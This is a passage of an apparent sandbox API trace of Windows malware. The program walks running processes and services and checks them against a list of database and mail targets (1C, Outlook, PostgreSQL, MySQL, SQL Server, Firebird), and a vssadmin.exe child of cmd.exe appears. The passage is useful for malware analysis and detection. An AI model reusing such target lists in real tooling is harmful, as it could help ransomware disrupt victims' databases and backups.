(lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0220.144] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0220.144] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0220.145] lstrlenW (lpString="lsm.exe") returned 7 [0220.145] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0220.145] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0220.145] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0220.145] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0220.145] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0220.145] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0220.145] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0220.146] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.147] lstrlenW (lpString="svchost.exe") returned 11 [0220.147] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0220.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0220.147] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0220.147] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0220.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0220.147] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0220.147] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0220.147] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.148] lstrlenW (lpString="svchost.exe") returned 11 [0220.148] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0220.148] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0220.148] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0220.148] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0220.148] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0220.148] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0220.149] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0220.149] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.150] lstrlenW (lpString="svchost.exe") returned 11 [0220.150] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0220.150] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0220.150] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0220.150] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0220.150] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0220.150] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0220.150] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0220.150] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.151] lstrlenW (lpString="svchost.exe") returned 11 [0220.151] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0220.151] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0220.152] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0220.152] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0220.152] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0220.152] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0220.152] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0220.152] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.153] lstrlenW (lpString="svchost.exe") returned 11 [0220.153] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0220.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0220.153] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0220.153] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0220.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0220.153] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0220.153] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0220.153] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0220.154] lstrlenW (lpString="audiodg.exe") returned 11 [0220.155] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0220.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0220.155] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0220.155] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0220.155] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0220.155] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0220.155] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0220.155] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.156] lstrlenW (lpString="svchost.exe") returned 11 [0220.156] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0220.157] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0220.157] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0220.157] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0220.157] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0220.157] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0220.157] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0220.157] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0220.158] lstrlenW (lpString="userinit.exe") returned 12 [0220.158] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0220.158] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0220.158] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0220.158] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0220.158] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0220.159] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0220.159] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0220.159] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0220.160] lstrlenW (lpString="explorer.exe") returned 12 [0220.160] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0220.161] lstrlenW (lpString="dwm.exe") returned 7 [0220.161] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.162] lstrlenW (lpString="svchost.exe") returned 11 [0220.162] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0220.164] lstrlenW (lpString="winhost.exe") returned 11 [0220.164] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0220.165] lstrlenW (lpString="spoolsv.exe") returned 11 [0220.165] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0220.166] lstrlenW (lpString="dllhost.exe") returned 11 [0220.166] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.167] lstrlenW (lpString="svchost.exe") returned 11 [0220.167] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0220.168] lstrlenW (lpString="taskhost.exe") returned 12 [0220.168] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0220.169] lstrlenW (lpString="cmd.exe") returned 7 [0220.169] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0220.170] lstrlenW (lpString="reader_sl.exe") returned 13 [0220.170] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0220.171] lstrlenW (lpString="conhost.exe") returned 11 [0220.171] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0220.173] lstrlenW (lpString="vssadmin.exe") returned 12 [0220.173] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0220.174] CloseHandle (hObject=0x378) returned 1 [0220.174] Sleep (dwMilliseconds=0x1f4) [0221.800] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x436c8e0 [0221.954] EnumServicesStatusExW (in: hSCManager=0x436c8e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0221.957] GetLastError () returned 0xea [0221.957] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa64) returned 0x432fc18 [0221.957] EnumServicesStatusExW (in: hSCManager=0x436c8e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432fc18, cbBufSize=0xa64, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432fc18, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0221.960] CloseServiceHandle (hSCObject=0x436c8e0) returned 1 [0222.124] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0222.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0222.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0222.125] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0222.125] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0222.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0222.125] lstrlenW (lpString="AudioSrv") returned 8 [0222.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0222.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0222.125] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0222.125] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0222.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0222.125] lstrlenW (lpString="BFE") returned 3 [0222.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0222.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0222.126] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0222.126] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0222.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0222.126] lstrlenW (lpString="CscService") returned 10 [0222.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0222.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0222.126] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0222.126] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0222.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0222.126] lstrlenW (lpString="DcomLaunch") returned 10 [0222.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0222.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0222.126] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0222.126] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0222.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0222.126] lstrlenW (lpString="Dhcp") returned 4 [0222.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0222.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0222.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0222.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0222.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0222.127] lstrlenW (lpString="Dnscache") returned 8 [0222.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0222.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0222.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0222.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0222.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0222.127] lstrlenW (lpString="eventlog") returned 8 [0222.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0222.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0222.127] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0222.127] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0222.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0222.128] lstrlenW (lpString="EventSystem") returned 11 [0222.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0222.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0222.128] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0222.128] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0222.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0222.128] lstrlenW (lpString="gpsvc") returned 5 [0222.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0222.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0222.128] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0222.128] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0222.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0222.128] lstrlenW (lpString="lmhosts") returned 7 [0222.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0222.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0222.129] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0222.129] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0222.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0222.129] lstrlenW (lpString="MMCSS") returned 5 [0222.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0222.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0222.129] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0222.129] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0222.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0222.129] lstrlenW (lpString="MpsSvc") returned 6 [0222.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0222.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0222.129] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0222.130] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0222.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0222.130] lstrlenW (lpString="nsi") returned 3 [0222.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0222.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0222.130] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0222.130] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0222.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0222.130] lstrlenW (lpString="PlugPlay") returned 8 [0222.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0222.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0222.130] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0222.130] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0222.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0222.131] lstrlenW (lpString="Power") returned 5 [0222.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0222.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0222.131] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0222.131] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0222.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0222.131] lstrlenW (lpString="ProfSvc") returned 7 [0222.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0222.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0222.131] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0222.131] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0222.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0222.131] lstrlenW (lpString="RpcEptMapper") returned 12 [0222.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0222.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0222.132] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0222.132] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0222.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0222.132] lstrlenW (lpString="RpcSs") returned 5 [0222.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0222.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0222.132] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0222.132] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0222.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0222.132] lstrlenW (lpString="SamSs") returned 5 [0222.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0222.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0222.133] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0222.133] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0222.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0222.133] lstrlenW (lpString="Schedule") returned 8 [0222.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0222.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0222.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0222.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0222.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0222.133] lstrlenW (lpString="SENS") returned 4 [0222.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0222.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0222.133] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0222.133] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0222.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0222.134] lstrlenW (lpString="ShellHWDetection") returned 16 [0222.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0222.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0222.134] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0222.134] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0222.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0222.134] lstrlenW (lpString="Spooler") returned 7 [0222.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0222.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0222.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0222.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0222.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0222.135] lstrlenW (lpString="Themes") returned 6 [0222.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0222.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0222.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0222.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0222.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0222.135] lstrlenW (lpString="UxSms") returned 5 [0222.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0222.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0222.135] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0222.135] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0222.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0222.136] HeapFree (in: 